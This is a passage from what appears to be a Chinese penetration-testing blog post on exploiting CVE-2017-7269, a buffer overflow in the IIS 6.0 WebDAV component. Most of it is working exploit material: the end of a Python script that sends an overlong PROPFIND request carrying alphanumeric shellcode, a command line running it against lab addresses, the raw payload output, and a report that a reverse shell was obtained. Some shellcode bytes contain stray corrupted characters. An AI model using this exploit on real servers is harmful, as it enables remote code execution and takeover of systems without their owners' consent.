b0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa极\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
# 添加一小段shellcode到HTTP请求中
smallsc = b'VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN极KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay += smallsc
pay += b'>\r\n\r\n' # 结束HTTP请求
# 打印构造的payload(用于调试)
print(pay)
# 发送恶意HTTP请求
sock.send(pay)
# 发送shellcode
sock.send(shellcode)
# 接收服务器响应
data = sock.recv(80960)
# 打印响应数据
print(data)
# 关闭socket连接
sock.close()
这段代码是一个针对 Microsoft IIS 6.0 WebDAV 组件中的缓冲区溢出漏洞(CVE-2017-7269) 的远程代码执行利用程序。其主要功能如下:
-
漏洞利用:通过构造一个特殊的
PROPFINDHTTP请求,其中包含超长的恶意If:请求头,触发IIS 6.0 WebDAV组件中的ScStoragePathFromUrl函数缓冲区溢出。 -
执行流劫持:精心构造的溢出数据会覆盖函数返回地址或异常处理结构,从而劫持程序执行流程。
-
代码执行:将执行流重定向到放置在堆栈或请求中的shellcode,实现在目标服务器上执行任意代码。
-
反向连接:使用的shellcode功能是创建一个反向TCP连接,回连到攻击者指定的IP和端口,为攻击者提供一个远程shell。
-
精确攻击:利用代码针对特定的软件版本(IIS 6.0 on Windows Server 2003),使用了硬编码的偏移量和地址。
本文使用如下命令进行渗透(靶机192.168.59.148,web服务端口为80,攻击机192.168.59.129,反弹端口10918),攻击效果如下所示。
└─# python3 mooyuan3.py 192.168.59.148 80 192.168.59.128 10918
b'PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 1744\r\nIf: <http://localhost/aaaaaaa\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb5\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac> (Not <locktoken:write1>) <http://localhost/bbbbbbb\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>\r\n\r\n'
4、shell反弹成功
如下所示此时连接成功,输入whoami、ipconfig命令均执行成功。只不过这个账户权限过低,只是普通的network service。


1万+

被折叠的 条评论
为什么被折叠?



